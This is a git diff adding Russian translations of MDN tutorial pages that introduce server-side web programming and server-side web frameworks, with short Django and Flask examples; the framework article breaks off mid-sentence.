Введение + - Начинающий + - Руководство + - Сервер + - Серверная часть +translation_of: Learn/Server-side/First_steps/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div> + +<p class="summary"><span class="seoSummary">Добро пожаловать на курс для начинающих по программированию серверной части сайта! В этой первой статье мы рассмотрим программирование на стороне сервера с высокого уровня, отвечая на такие вопросы, как «что это»?, «как это отличается от программирования на стороне клиента»? и «почему это так полезно»? После прочтения этой статьи вы поймёте дополнительные возможности, доступные веб-сайтам посредством программирования на стороне сервера. </span></p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Перед стартом:</th> + <td>Базовая компьютерная грамотность. Базовое понимание, что такое веб-сервер.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Ознакомиться с тем, что такое программирование серверной части, на что оно способно и чем отличается от программирования клиентской части.</td> + </tr> + </tbody> +</table> + +<p>Большинство крупных веб-сайтов используют программирование серверной части чтобы динамично отображать различные данные при необходимости, в основном взятые из базы данных, располагающейся на сервере и отправляемые клиенту для отображения через некоторый код (например, HTML и JavaScript).</p> + +<p>Возможно, самая значительная польза программирования серверной части в том, что оно позволяет формировать контент веб-сайта под конкретного пользователя. Динамические сайты могут выделять контент, который более актуален в зависимости от предпочтений и привычек пользователя. Это также может упростить использование сайтов за счёт сохранения личных предпочтений и информации, например, повторного использования сохранённых данных кредитной карты для оптимизации последующих платежей.</p> + +<p>Это также даёт возможность взаимодействовать с пользователем сайта, посылая уведомления и обновления по электронной почте или по другим каналам. Все эти возможности позволяют глубже взаимодействовать с пользователями.</p> + +<p>В современном мире веб-разработки настоятельно рекомендуется узнать о разработке на стороне сервера.</p> + +<h2 id="Что_такое_программирование_серверной_части_сайта">Что такое программирование серверной части сайта?</h2> + +<p>Веб-браузеры взаимодействуют с <a href="/ru/docs/Learn/Common_questions/What_is_a_web_server">веб-серверами</a> при помощи гипертекстового транспортного протокола ({{glossary("HTTP")}}). Когда вы нажимаете на ссылку на веб-странице, заполняете форму или запускаете поиск, <strong>HTTP-запрос </strong> отправляется из вашего браузера на целевой сервер.</p> + +<p>Запрос включает в себя URL, определяющий затронутый ресурс, метод, определяющий требуемое действие (например, получить, удалить или опубликовать ресурс) и может включать дополнительную информацию, закодированную в параметрах URL (пары поле-значение, оправленные как <a href="https://en.wikipedia.org/wiki/Query_string">строка запроса</a>), как POST запрос (данные, отправленные методом <a href="/en-US/docs/Web/HTTP/Methods/POST">HTTP POST</a>) или в {{glossary("Cookie", "куки-файлах")}}.</p> + +<p>Веб-серверы ожидают сообщений с клиентскими запросами, обрабатывают их по прибытию и отвечают веб-браузеру при помощи ответного HTTP сообщения (<strong>HTTP-ответ</strong>). Ответ содержит строку состояния, показывающую, был ли запрос успешным или нет (например, «HTTP/1.1 200 OK» в случае успеха).</p> + +<p>Тело успешного ответа на запрос может содержать запрашиваемые данные (например, новую HTML-страницу или изображение, и т. п.), который может отображаться через веб-браузер.</p> + +<h3 id="Статические_сайты">Статические сайты</h3> + +<p>Схема ниже показывает базовую архитектуру веб-сервера для <em>статического сайта</em> (статический сайт — это тот, который возвращает одно и то же жёстко закодированное содержимое с сервера всякий раз, когда запрашивается конкретный ресурс). Когда пользователь хочет перейти на страницу, браузер отправляет HTTP-запрос «GET» с указанием его URL. </p> + +<p>Сервер извлекает запрошенный документ из своей файловой системы и возвращает HTTP-ответ, содержащий документ и <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Status#Successful_responses">успешный статус</a> (обычно 200 OK). Если файл не может быть извлечён по каким-либо причинам, возвращается статус ошибки (смотри <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Status#Client_error_responses">ошибки клиента</a> и <a href="https://developer.mozilla.org/ru/docs/Web/HTTP/Status#Server_error_responses">ошибки сервера</a>).</p> + +<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p> + +<h3 id="Динамические_сайты">Динамические сайты</h3> + +<p>Динамический веб-сайт — это тот, где часть содержимого ответа генерируется динамически только при необходимости. На динамическом веб-сайте HTML-страницы обычно создаются путём вставки данных из базы данных в заполнители в HTML-шаблонах (это гораздо более эффективный способ хранения большого количества контента, чем использование статических сайтов).</p> + +<p>Динамический сайт может возвращать разные данные для URL-адреса на основе информации, предоставленной пользователем или сохранёнными настройками, и может выполнять другие операции, как часть возврата ответа (например, отправку уведомлений).</p> + +<p>Большая часть кода для поддержки динамического веб-сайта должна выполняться на сервере. Создание этого кода известно, как «<strong>программирование серверной части</strong>» (или иногда «<strong>программирование бэкенда</strong>»).</p> + +<p>Схема ниже показывает простую архитектуру <em>динамического сайта</em>. Как и на предыдущей схеме, браузеры отправляют HTTP-запросы на сервер, затем сервер обрабатывает запросы и возвращает соответствующие HTTP-ответы.</p> + +<p>Запросы статических ресурсов обрабатываются так же, как и для статических сайтов (статические ресурсы — это любые файлы, которые не меняются, обычно это: CSS, JavaScript, изображения, предварительно созданные PDF-файлы и прочее).</p> + +<p><img alt="A simplified diagram of a web server that uses server-side programming to get information from a database and construct HTML from templates. This is the same diagram as is in the Client-Server overview." src="https://mdn.mozillademos.org/files/13839/Web%20Application%20with%20HTML%20and%20Steps.png"></p> + +<p>Запросы динамических данных отправляются (2) в код серверной части (показано на диаграмме как <em>Веб-приложение</em>). Для «динамических запросов» сервер интерпретирует запрос, читает необходимую информацию из базы данных (3), комбинирует извлечённые данные с шаблонами HTML и возвращает ответ, содержащий сгенерированный HTML (5, 6).</p> + +<div> +<h2 id="Одинаково_ли_программирование_серверной_части_и_клиентской">Одинаково ли программирование серверной части и клиентской?</h2> +</div> + +<p>Теперь обратим внимание на код, задействованный в серверной части и клиентской части. В каждом случае код существенно различается:</p> + +<ul> + <li>Они имеют различные цели и назначение.</li> + <li>Как правило, они не используют одни и те же языки программирования (исключение составляет JavaScript, который можно использовать на стороне сервера и клиента).</li> + <li>Они выполняются в разных средах операционной системы.</li> +</ul> + +<p>Код, который выполняется в браузере, известный как <strong>код клиентской части</strong>, прежде всего связан с улучшением внешнего вида и поведения отображаемой веб-страницы. Это включает в себя выбор и стилизацию компонентов пользовательского интерфейса, создание макетов, навигацию, проверку форм и т. д. Напротив, программирование веб-сайта на стороне сервера в основном включает выбор содержимого, которое возвращается браузеру в ответ на запросы. Код на стороне сервера обрабатывает такие задачи, как проверка отправленных данных и запросов, использование баз данных для хранения и извлечения данных и отправка правильных данных клиенту по мере необходимости.</p> + +<p>Код клиентской части написан с использованием <a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Multimedia_and_embedding/Mozilla_splash_page">HTML</a>, <a href="https://developer.mozilla.org/ru/docs/Learn/CSS">CSS</a> и <a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript">JavaScript</a> — он запускается в веб-браузере и практически не имеет доступа к базовой операционной системе (включая ограниченный доступ к файловой системе).</p> + +<p>Веб-разработчики не могут контролировать, какой браузер может использовать каждый пользователь для просмотра веб-сайта — браузеры обеспечивают противоречивые уровни совместимости с функциями кода на стороне клиента, и одной из задач программирования на стороне клиента является изящная обработка различий в поддержке браузера.</p> + +<p>Код серверной части может быть написан на любом количестве языков программирования — примеры популярных языков серверной части включают в себя PHP, Python, Ruby, C# и NodeJS (JavaScript). Код серверной части имеет полный доступ к операционной системе сервера, и разработчик может выбрать какой язык программирования (и какую версию) он хотел бы использовать.</p> + +<p>Разработчики обычно пишут свой код, используя <strong>веб-фреймворки</strong>. Веб-фреймворки — это наборы функций, объектов, правил и других конструкций кода, предназначенных для решения общих проблем, ускорения разработки и упрощения различных типов задач, стоящих в конкретной области.</p> + +<p>И снова, поскольку и клиентская и серверная части используют фреймворки, области очень разные и, следовательно, фреймворки тоже разные. Фреймворки клиентской части упрощают вёрстку и представление данных, тогда как фреймворки серверной части обеспечивают много «обычного» функционала веб-сервера, который вы, возможно, в противном случае, должны были осуществлять самостоятельно (например, поддержка сессий, поддержка пользователей и аутентификация, простой доступ к базе данных, шаблонам библиотек и т. д.).</p> + +<div class="note"> +<p><strong>На заметку</strong>: Фреймворки клиентской части часто используются для ускорения написания кода клиентской части, но вы также можете решить писать весь код руками; на самом деле, написание кода руками может быть более быстрым и эффективным, если вам нужен небольшой простой веб-сайт UI.</p> + +<p>И, наоборот, вы практически никогда не посмотрите в сторону написания кода серверной части веб-приложения без фреймворка: осуществление жизненно важной функции, такой как HTTP сервер действительно сложно сделать с нуля, скажем, на Python, но веб-фреймворки для Python, такие как Django, обеспечивают это из коробки наряду с другими полезными инструментами.</p> +</div> + +<div> +<h2 id="Что_можно_сделать_в_серверной_части">Что можно сделать в серверной части?</h2> + +<p>Программирование серверной части очень полезно поскольку позволяет <em>эффективно</em> доставлять информацию, составленную для индивидуальных пользователей и, таким образом, создавать намного лучший опыт использования.</p> + +<p>Компании, такие как Amazon, используют программирование серверной части для построения исследовательских результатов для товаров, формирования целевого предложения, основанного на предпочтениях клиента и предыдущих покупках, упрощения заказов и т. д. Банки используют программирование серверной части, чтобы хранить учётную информацию и позволять только авторизованным пользователям просматривать и совершать транзакции. Другие сервисы, такие как Facebook, Twitter, Instagram и Wikipedia используют бэкэнд, чтобы выделять, распространять и контролировать доступ к интересному контенту.</p> +</div> + +<p>Некоторые типичные применения и выгоды бэкэнда перечислены ниже. Вы заметите, что есть некоторое пересечение!</p> + +<h3 id="Эффективное_хранение_и_доставка_информации">Эффективное хранение и доставка информации</h3> + +<p>Представьте, сколько товаров доступно на Amazon, и представьте, сколько постов было написано на Facebook? Создание статической страницы для каждого товара или поста было бы абсолютно неэффективным.</p> + +<p>Программирование серверной части позволяет вместо этого хранить информацию в базе данных и динамически создавать и возвращать HTML и другие типы файлов (например, PDF, изображения, и т. д.). Также есть возможность просто вернуть данные ({{glossary("JSON")}}, {{glossary("XML")}}, и т. д.) для отображения, используя подходящий фреймворк клиентской части (это уменьшает загрузку процессора на сервере и количество передаваемых данных).</p> + +<p>Сервер не ограничен в отправке информации из баз данных и может вместо этого возвращать результат инструментов программного обеспечения или данные из сервисов коммуникации. Контент даже может быть целевым относительно устройства клиента, который его получает.</p> + +<p>Из-за того, что информация находится в базе данных, её также можно легко передать и обновить через другие бизнес системы (например, отслеживание).</p> + +<div class="note"> +<p><strong>На заметку:</strong> Вам не нужно сильно напрягать своё воображение, чтобы увидеть достоинства кода серверной части для эффективного хранения и передачи информации:</p> + +<ol> + <li>Зайдите на <a href="https://www.amazon.com/">Amazon</a> или в другой интернет-магазин.</li> + <li>Введите в поиск несколько ключевых слов и заметьте, как структура страницы не изменилась, тогда как результаты изменились.</li> + <li>Откройте два или три разных товара. Заметьте, что они имеют схожую структуру и внешний вид, но содержимое для разных товаров было вставлено из базы данных.</li> +</ol> + +<p>Для обычного поиска (например, «рыба») вы можете увидеть буквально миллионы найденных значений. Использование базы данных позволяет им храниться и передаваться эффективно, и это позволяет контролировать представление информации всего в одном месте.</p> +</div> + +<h3 id="Настраиваемый_пользовательский_опыт_взаимодействия">Настраиваемый пользовательский опыт взаимодействия</h3> + +<p>Серверы могут хранить и использовать информацию о клиентах чтобы поставлять удобный и сделанный индивидуально пользовательский опыт взаимодействия. Например, многие сайты хранят данные кредитных карт, чтобы не нужно было вводить их повторно. Сайты, наподобие Google Maps, могут использовать сохранённое и текущее местоположение для предоставления информации о маршруте, а также историю поиска или путешествий для выделения местных предприятий в результатах поиска.</p> + +<p>Более глубокий анализ привычек пользователя может быть использован для прогнозирования их интересов и дальнейших настроек ответов и уведомлений, например, предоставление списка ранее посещённых популярных мест, которые вы, возможно, захотите найти на карте.</p> + +<div class="note"> +<p><strong>На заметку:</strong> <a href="https://maps.google.com/">Google Maps</a> сохраняет вашу историю поиска и посещений. Часто посещаемые или часто вводимые в поиск локации выделяются больше, чем остальные.</p> + +<p>Результаты поиска Google оптимизируются на основе прыдыдущего поиска.</p> + +<ol> + <li> Перейдите в <a href="https://google.com/">поиск Google</a>.</li> + <li> Произведите поиск по слову «футбол».</li> + <li> Теперь попробуйте ввести «любимое» в поисковой строке и понаблюдайте, как работают подсказки автозаполнения поиска.</li> +</ol> + +<p>Стечение обстоятельств? Нет!</p> +</div> + +<h3 id="Контролируемый_доступ_к_контенту">Контролируемый доступ к контенту</h3> + +<p>Программирование серверной части позволяет сайтам ограничивать доступ авторизованным пользователям и предоставлять только ту информацию, которую пользователю разрешено видеть.</p> + +<p>Реальные примеры:</p> + +<ul> + <li>Социальные сети, такие как Facebook, позволяют пользователям полностью контролировать свои данные, но только своим друзьям разрешать просматривать или комментировать их. Пользователь определяет, кто может просматривать его данные и, более того, чьи данные появляются на его стене. Авторизация — центральная часть опыта взаимодействия.</li> + <li>Сайт, на котором вы находитесь прямо сейчас, контролирует доступ к контенту: статьи видны всем, но только авторизованные пользователи могут редактировать контент. Чтобы проверить это, нажмите на кнопку «Редактировать» в верхней части страницы, и, если вы авторизованы, вы увидите редакторский интерфейс, а если нет — вас перенаправит на страницу авторизации.</li> +</ul> + +<div class="note"> +<p><strong>На заметку:</strong> Рассмотрим другие реальные примеры, где доступ к контенту контролируется. Например, что вы можете увидеть, если зайдёте на сайт вашего банка? Авторизуйтесь через вашу учётную запись, и какую дополнительную информацию вы можете просматривать и редактировать? Что за информацию вы можете увидеть, которую может редактировать только банк?</p> +</div> + +<h3 id="Хранение_информации_о_сессиисостоянии">Хранение информации о сессии/состоянии</h3> + +<p>Программирование серверной части позволяет разработчикам использовать <strong>сессии</strong> – изначально это механизм, позволяющий серверу хранить информацию о текущем пользователе сайта и отправлять разные ответы, основанные на этой информации.</p> + +<p>Это позволяет, например, сайту знать, что пользователь был предварительно авторизован и выводить ссылки на его адрес электронной почты или историю заказов или, возможно, сохранить прогресс простой игры, так чтобы пользователь мог вернуться на сайт продолжить с того места, где он закончил.</p> + +<div class="note"> +<p><strong>На заметку:</strong> Посетите новостной сайт, у которого есть подписка и откройте ветку тегов (например, <a href="http://www.theage.com.au/">The Age</a>). Продолжайте посещать сайт в течение нескольких часов/дней. В итоге вас начнёт перенаправлять на страницы, объясняющие, как оформить платную подписку, а сами статьи станут вам недоступны. Эта информация является примером сессии, сохранённой в куки-файлах.</p> +</div> + +<h3 id="Уведомления_и_средства_связи">Уведомления и средства связи</h3> + +<p>Серверы могут отправлять общие или пользовательские уведомления непосредственно через сайт или по электронной почте, через смс, мгновенные сообщения, видеосвязь или другие средства связи.</p> + +<p>Вот несколько примеров:</p> + +<ul> + <li>Facebook или Twitter отправляет уведомления по электронной почте и смс-сообщения, чтобы уведомить вас о новых разговорах.</li> + <li>Amazon регулярно отправляет письма на электронную почту, предлагающие товары, похожие на те, которые уже были куплены или просматривались вами, которые могут вас заинтересовать.</li> + <li>Веб-сервер может посылать сообщения администратору сайта, предупреждая его о том, что на сервере заканчивается память или о подозрительной активности пользователя.</li> +</ul> + +<div class="note"> +<p><strong>На заметку</strong>: Самый распространённый вид уведомлений – это «подтверждение регистрации». Возьмите почти любой интересующий вас крупный сайт (Google, Amazon, Instagram и т. п.) и создайте новую учётную запись, используя ваш адрес электронной почты. Вскоре вы получите письмо, подтверждающее факт вашей регистрации или содержащее информацию о необходимости активировать вашу учётную запись.</p> +</div> + +<h3 id="Анализ_данных">Анализ данных</h3> + +<p>Веб-сайт может собирать много данных о своих пользователях: что они ищут, что они покупают, что они рекомендуют, как долго они остаются на каждой странице. Программирование серверной части может быть использовано, чтобы усовершенствовать ответы, основанные на анализе этих данных.</p> + +<p>Например, и Amazon, и Google рекламируют товары на основании предыдущих поисков (и покупок).</p> + +<div class="note"> +<p><strong>На заметку</strong>: Если вы пользуетесь Facebook, зайдите на вашу стену и посмотрите на ряд постов. Заметьте, что некоторые посты не идут по порядку: в частности, посты с большим количеством «лайков» часто находятся выше по списку, чем остальные. Также взгляните на рекламу, которую вам показывают, вы вероятно увидите рекламу товаров, которые искали на других сайтах. Алгоритм Facebook для выделения контента и рекламы может казаться мистикой, но очевидно, что он зависит от ваших лайков и запросов поиска!</p> +</div> + +<h2 id="Подведение_итогов">Подведение итогов</h2> + +<p>Поздравляем, вы дошли до конца первой статьи о программировании серверной части.</p> + +<p>Теперь вы узнали, что код серверной части выполняется на веб-сервере и его основная роль состоит в контролировании отправляемой пользователю информации (тогда как код клиентской части в основном определяет структуру и способ преподнесения информации пользователю). Вы должны также понимать, что это полезно, так как позволяет создавать веб-сайты, которые эффективно доставляют информацию, собранную для конкретных пользователей и иметь чёткое представление о некоторых вещах, которые вы сможете делать, когда станете разработчиком бэкенда.</p> + +<p>Наконец, вы должны понимать, что код серверной части может быть написан на разных языках программирования, и что вам следует использовать веб-фреймворк для упрощения процесса написания кода.</p> + +<p>В следующей статье мы поможем вам выбрать лучший фреймворк для вашего первого сайта; затем мы изучим несколько основных взаимодействий с клиентской частью более подробно.</p> + +<p>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</p> diff --git a/files/ru/learn/server-side/first_steps/web_frameworks/index.html b/files/ru/learn/server-side/first_steps/web_frameworks/index.html new file mode 100644 index 0000000000..af2b467d3f --- /dev/null +++ b/files/ru/learn/server-side/first_steps/web_frameworks/index.html @@ -0,0 +1,306 @@ +--- +title: Выполняемые на сервере веб фреймворки +slug: Learn/Server-side/First_steps/Web_frameworks +translation_of: Learn/Server-side/First_steps/Web_frameworks +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">В предыдущей статье было показано, как выглядит общение между веб-клиентами и серверами, характер HTTP-запросов и ответов, а также то, что веб-приложение на стороне сервера должно выполнять, чтобы отвечать на запросы из веб-браузера. Благодаря этим знаниям настало время изучить, как веб-интерфейсы могут упростить эти задачи, и дать вам представление о том, как выбрать структуру для своего первого веб-приложения на стороне сервера.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Необходимые навыки:</th> + <td>Базовая компьютерная грамотность. Высокое понимание того, как серверный код обрабатывает и отвечает на HTTP-запросы (см. <a href="/en-US/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a>).</td> + </tr> + <tr> + <th scope="row">Цели:</th> + <td>Понять, как веб-интерфейсы могут упростить разработку / обслуживание кода на стороне сервера и заставить читателей задуматься о выборе структуры для собственной разработки.</td> + </tr> + </tbody> +</table> + +<p>Следующие разделы иллюстрируют некоторые моменты, используя фрагменты кода, взятые из реальных веб-интерфейсов. Не беспокойтесь, если не всё сразу понятно; мы будем работать над кодом вместе в модулях, посвящённых отдельным фреймворкам.</p> + +<h2 id="Обзор">Обзор</h2> + +<p>Серверные веб-фреймворки (или «фреймворки веб-приложений») — это программные среды, которые упрощают создание, поддержку и масштабирование веб-приложений. Они предоставляют инструменты и библиотеки, которые упрощают общие задачи веб-разработки, включая маршрутизацию URL-адресов для соответствующих обработчиков, взаимодействие с базами данных, поддержку сеансов и авторизацию пользователей, форматирование вывода (например, HTML, JSON, XML) и улучшение защиты от веб-атак.</p> + +<p>В следующем разделе приводится более подробная информация о том, как веб-фреймворки могут облегчить разработку веб-приложений. Затем мы объясним некоторые критерии, которые вы можете использовать для выбора веб-фреймворка, а затем перечислим некоторые из ваших вариантов.</p> + +<h2 id="Что_может_сделать_веб-фреймворк_для_вас">Что может сделать веб-фреймворк для вас ?</h2> + +<p>Веб-фреймворки предоставляют инструменты и библиотеки для упрощения общих операций веб-разработки. Вы не обязаны использовать веб-фреймворк на стороне сервера, но это настоятельно рекомендуется — это сделает вашу жизнь намного проще.</p> + +<p>В этом разделе обсуждается различный функционал, который часто предоставляется веб-фреймворками (но не каждый фреймворк должен обязательно содержать весь описанный функционал!)</p> + +<h3 id="Работайте_напрямую_с_HTTP-запросами_и_ответами">Работайте напрямую с HTTP-запросами и ответами</h3> + +<p>Как мы видели в последней статье, веб-серверы и браузеры обмениваются данными по протоколу HTTP — серверы ожидают HTTP-запросы из браузера, а затем возвращают информацию в HTTP-ответах. Веб-фреймворки позволяют писать упрощённый синтаксис, который будет генерировать серверный код для работы с этими запросами и ответами. Это означает, что вам будет легче работать, взаимодействуя с более простым кодом более высокого уровня, а не с сетевыми примитивами более низкого уровня.</p> + +<p>Пример ниже показывает, как это работает в веб-фреймворке Django (Python). Каждая функция «view» (обработчик запроса) получает объект <code>HttpRequest</code>, содержащий информацию о запросе, и должна вернуть объект <code>HttpResponse</code> с форматированным выводом (в этом случае строка).</p> + +<pre class="brush: python notranslate"># Django view function +from django.http import HttpResponse + +def index(request): + # Get an HttpRequest (request) + # perform operations using information from the request. + # Return HttpResponse + return HttpResponse('Output string to return') +</pre> + +<h3 id="Запросы_маршрута_к_соответствующему_обработчику">Запросы маршрута к соответствующему обработчику</h3> + +<p>Большинство сайтов предоставляют несколько различных ресурсов, доступных через отдельные URL-адреса. Если работать с ними в одной функции, поддерживать будет трудно, поэтому веб-фреймворки предоставляют простые механизмы для сопоставления шаблонов URL-адресов с конкретными функциями обработчика. Этот подход также имеет преимущества с точки зрения обслуживания, потому что вы можете изменить URL-адрес, используемый для доставки определённой функции, без изменения базового кода.</p> + +<p>Различные фреймворки используют различные механизмы для сопоставления. Например, веб-фреймворк Flask (Python) добавляет маршруты для просмотра функций используя декораторы.</p> + +<pre class="brush: python notranslate">@app.route("/") +def hello(): + return "Hello World!"</pre> + +<p>Django ожидает, что разработчики определят список сопоставлений URL-адресов между шаблоном URL-адреса и функцией просмотра.</p> + +<pre class="brush: python notranslate">urlpatterns = [ + url(r'^$', views.index), + # example: /best/myteamname/5/ + url(r'^best/(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best), +] +</pre> + +<h3 id="Упростите_доступ_к_данным_в_запросе">Упростите доступ к данным в запросе</h3> + +<p>Данные могут быть закодированы в HTTP-запросе разными способами. Для получения файлов или данных с сервера, HTTP-запрос <code>GET</code> может кодировать, какие данные требуются в URL-параметрах или в структуре URL. HTTP-запрос <code>POST</code> для обновления ресурса на сервере вместо этого будет включать обновлённую информацию как «POST данные» внутри тела запроса. HTTP-запрос может также включать информацию о текущей сессии или пользователе в cookie со стороны клиента.</p> + +<p><span class="tlid-translation translation" lang="ru">Веб-фреймворки предоставляют соответствующие языку программирования механизмы доступа к этой информации. Например, объект</span> <code>HttpRequest</code><span class="tlid-translation translation" lang="ru">, который Django передаёт каждой функции «view», содержит методы и свойства для доступа к целевому URL, типу запроса (например, HTTP</span> <code>GET</code><span class="tlid-translation translation" lang="ru">), параметрам</span> <code>GET</code> <span class="tlid-translation translation" lang="ru">или</span> <code>POST</code><span class="tlid-translation translation" lang="ru">, файлам cookie и данным сеанса и т. д. Django также может передавать информацию, закодированную в структуре URL, путём определения «шаблонов захвата» в преобразователе URL (см. последний фрагмент кода в разделе выше).</span></p> + +<h3 id="Абстрагируйте_и_упростите_доступ_к_базе_данных"><span class="tlid-translation translation" lang="ru">Абстрагируйте и упростите доступ к базе данных</span></h3> + +<p><span class="tlid-translation translation" lang="ru">Веб-сайты используют базы данных для хранения информации как для пользователей, так и о пользователях. Веб-фреймворки часто предоставляют слой базы данных, который абстрагирует операции чтения, записи, запроса и удаления базы данных. Этот уровень абстракции называется Object-Relational Mapper (ORM).</span></p> + +<p><span class="tlid-translation translation" lang="ru">Использование ORM имеет два преимущества:</span></p> + +<ul> + <li>Вы можете заменить лежащую в основе базу данных без необходимости изменять код, который её использует. Это позволяет разработчикам оптимизировать характеристики различных баз данных в зависимости от их использования.</li> + <li><span class="tlid-translation translation" lang="ru">Базовая проверка данных может быть реализована. Это позволяет легче и безопаснее проверить, что данные хранятся в правильном поле типа базы данных, имеют правильный формат (например, адрес электронной почты) и не являются вредоносными (взломщики могут использовать определённые шаблоны кода, чтобы сделать такие вещи, как удаление записей базы данных).</span></li> +</ul> + +<p><span class="tlid-translation translation" lang="ru">Например, веб-фреймворк Django предоставляет ORM и ссылается на объект, используемый для определения структуры записи в качестве модели. Модель задаёт типы полей, которые должны быть сохранены, что может обеспечить проверку на уровне поля того, какая информация может быть сохранена (например, поле электронной почты будет разрешать только действительные адреса электронной почты). В определениях полей также можно указать их максимальный размер, значения по умолчанию, параметры списка выбора, текст справки для документации, текст метки для форм и т. д. Модель не содержит никакой информации о базе данных, поскольку это параметр конфигурации, который может быть изменён отдельно от нашего кода.<br> + <br> + Первый фрагмент кода ниже показывает очень простую модель Django для объекта</span> <code>Team</code><span class="tlid-translation translation" lang="ru">. Это сохраняет название команды и уровень команды как символьные поля и определяет максимальное количество символов для каждой записи.</span> <code>team_level</code><span class="tlid-translation translation" lang="ru"> </span>—<span class="tlid-translation translation" lang="ru"> это поле выбора, поэтому здесь мы связываем варианты значений на выбор с сохраняемыми данными, а также значение по умолчанию.</span></p> + +<pre class="brush: python notranslate">#best/models.py + +from django.db import models + +class Team(models.Model): + team_name = models.CharField(max_length=40) + + TEAM_LEVELS = ( + ('U09', 'Under 09s'), + ('U10', 'Under 10s'), + ('U11, 'Under 11s'), + ... #list our other teams + ) + team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') +</pre> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Модель Django предоставляет простой API запросов для поиска в базе данных.</span> <span title="">Это может соответствовать нескольким полям одновременно, используя различные критерии (например, </span></span>exact<span class="tlid-translation translation" lang="ru"><span title=""> (точный), </span></span>case-insensitive (<span class="tlid-translation translation" lang="ru"><span title="">без учёта регистра), </span></span>greater than (<span class="tlid-translation translation" lang="ru"><span title="">больше чем) и т. п.), а также может поддерживать сложные операторы (например, вы можете указать поиск для команд U11, в которых есть команда</span> <span title="">имя, которое начинается с «Fr» или заканчивается на «al»).</span><br> + <br> + <span title="">Второй фрагмент кода показывает функцию представления (обработчик ресурсов) для отображения всех наших команд U09.</span> <span title="">В этом случае мы указываем, что мы хотим фильтровать для всех записей, где поле</span></span> <code>team_level</code> <span class="tlid-translation translation" lang="ru"><span title="">имеет в точности текст «U09» (обратите внимание ниже, как этот критерий передаётся функции</span></span> <code>filter()</code> <span class="tlid-translation translation" lang="ru"><span title="">в качестве аргумента с именем поля и типом соответствия, отделённым двойным</span> <span title="">подчёркиванием: <strong>team_level__exact</strong>).</span></span></p> + +<pre class="brush: python notranslate">#best/views.py + +from django.shortcuts import render +from .models import Team + +def youngest(request): + <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + context = {'youngest_teams': list_teams} + return render(request, 'best/index.html', context) +</pre> + +<dl> +</dl> + +<h3 id="Отрисовка_данных"><span class="tlid-translation translation" lang="ru"><span title="">Отрисовка данных</span></span></h3> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Веб-фреймворки часто предоставляют системы шаблонов.</span> <span title="">Они позволяют вам указать структуру выходного документа, используя заполнители для данных, которые будут добавлены при создании страницы.</span> <span title="">Шаблоны часто используются для создания HTML, но могут также создавать другие типы документов.</span><br> + <br> + <span title="">Веб-фреймворки часто предоставляют механизм, позволяющий легко создавать другие форматы из хранимых данных, включая {{glossary ("JSON")}} и {{glossary ("XML")}}.</span><br> + <br> + <span title="">Например, система шаблонов Django позволяет вам задавать переменные с использованием синтаксиса «двойных велосипедных рулей» (например,</span></span> <code>{</code><code>{ <em>имя_переменной</em> </code><code>}</code><code>}</code>),<span class="tlid-translation translation" lang="ru"><span title=""> которые будут заменены значениями, передаваемыми из функции «view» при отрисовке страницы.</span> <span title="">Система шаблонов также обеспечивает поддержку выражений (с синтаксисом:</span></span> <code>{% <em>выражение</em> %}</code>), <span class="tlid-translation translation" lang="ru"><span title="">которые позволяют шаблонам выполнять простые операции, такие как повторение значений списка, передаваемых в шаблон.</span></span></p> + +<div class="note"> +<p><span class="tlid-translation translation" lang="ru"><span title=""><strong>На заметку</strong>. Многие другие системы шаблонов используют аналогичный синтаксис, например: Jinja2 (Python), </span></span> handlebars <span class="tlid-translation translation" lang="ru"><span title=""> (JavaScript), </span></span> moustache <span class="tlid-translation translation" lang="ru"><span title=""> (JavaScript) и т. п.</span></span></p> +</div> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Фрагмент кода ниже показывает, как это работает.</span> <span title="">Продолжая пример «самой молодой команды» из предыдущего раздела, HTML-шаблон передаёт представлению переменную списка</span></span> <code>youngest_teams</code><span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">Внутри скелета HTML у нас есть выражение, которое сначала проверяет, существует ли переменная <code>youngest_teams</code>, а затем повторяет её в цикле <code>for</code>.</span> <span title="">На каждой итерации шаблон отображает значение <code>team_name</code> команды в элементе списка.</span></span></p> + +<pre class="brush: html notranslate">#best/templates/best/index.html + +<!DOCTYPE html> +<html lang="en"> +<body> + + {% if youngest_teams %} + <ul> + {% for team in youngest_teams %} + <li>\{\{ team.team_name \}\}</li> + {% endfor %} + </ul> +{% else %} + <p>No teams are available.</p> +{% endif %} + +</body> +</html> +</pre> + +<h2 id="Как_выбрать_веб-фреймворк"><span class="tlid-translation translation" lang="ru"><span title="">Как выбрать веб-фреймворк</span></span></h2> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Многочисленные веб-фреймворки существуют практически для каждого языка программирования, который вы, возможно, захотите использовать (мы перечислим несколько наиболее популярных фреймворков в следующем разделе).</span> <span title="">При таком большом количестве вариантов может оказаться затруднительным определить, какой фреймворк обеспечивает лучшую отправную точку для вашего нового веб-приложения.</span></span></p> + +<p><span class="tlid-translation translation" lang="ru"><span title="">Вот некоторые из факторов, которые могут повлиять на ваше решение:</span></span></p> + +<ul> + <li><span class="tlid-translation translation" lang="ru"><span title=""><strong>Усилия для изучения:</strong> усилия по изучению веб-фреймворка зависят от того, насколько вы знакомы с базовым языком программирования, последовательностью его 